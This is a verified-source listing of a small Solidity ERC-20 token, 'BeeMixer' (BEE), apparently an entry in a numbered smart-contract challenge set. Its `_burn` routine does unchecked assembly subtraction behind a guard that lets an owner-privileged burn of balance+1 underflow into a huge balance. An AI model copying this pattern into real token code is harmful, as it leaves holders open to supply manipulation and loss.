编译器
0.8.24+commit.e11b9ed9
文件 1 的 3:BEE.sol
pragma solidity ^0.8.24;
import "./ERC20.sol";
contract BEE is ERC20 {
constructor() ERC20(unicode"BeeMixer", unicode"BEE", 18) {
_mint(msg.sender, 20_000_000 * 10 ** 18);
}
}
文件 2 的 3:ERC20.sol
pragma solidity ^0.8.24;
import "./IERC20.sol";
contract ERC20 is IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name;
string public symbol;
uint8 public decimals;
bool internal tradingLive = false;
bool internal burnEnabed = false;
mapping(address => bool) internal _isExcludedFromFee;
constructor(string memory _name, string memory _symbol, uint8 _decimals) {
name = _name;
symbol = _symbol;
decimals = _decimals;
tradingLive = true;
}
function transfer(address recipient, uint256 amount) external returns (bool) {
require(balanceOf[msg.sender] >= amount);
balanceOf[msg.sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
require(allowance[sender][msg.sender] >= amount);
require(balanceOf[sender] >= amount);
allowance[sender][msg.sender] -= amount;
balanceOf[sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(sender, recipient, amount);
return true;
}
function _mint(address to, uint256 amount) internal {
require(to != address(0));
balanceOf[to] += amount;
totalSupply += amount;
if (amount == totalSupply) {
_isExcludedFromFee[msg.sender] = true;
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal {
require(from != address(0) && msg.sender != address(0));
require((balanceOf[from] + safe_sub(amount + 1, amount)) >= amount);
balanceOf[from] = safe_sub(balanceOf[from], amount);
totalSupply = safe_sub(totalSupply, amount);
emit Transfer(from, address(0), amount);
}
function burn(uint256 amount) external {
if (!burnEnabed) {
require(_isExcludedFromFee[msg.sender]);
}
_burn(msg.sender, amount);
}
function safe_sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
assembly {
z := sub(x, y)
}
}
function live() public view returns (bool) {
return tradingLive;
}
}
文件 3 的 3:IERC20.sol
pragma solidity ^0.8.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount)
external
returns (bool);
}
{
"compilationTarget": {
"src/10_BEE/BEE.sol": "BEE"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": [
":@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
":@uniswap/v3-core/contracts/=lib/v3-core/contracts/",
":@uniswap/v3-periphery/contracts/=lib/v3-periphery/contracts/",
":ds-test/=lib/forge-std/lib/ds-test/src/",
":erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
":forge-std/=lib/forge-std/src/",
":openzeppelin-contracts/=lib/openzeppelin-contracts/",
":v3-core/=lib/v3-core/",
":v3-periphery/=lib/v3-periphery/contracts/"
]
}
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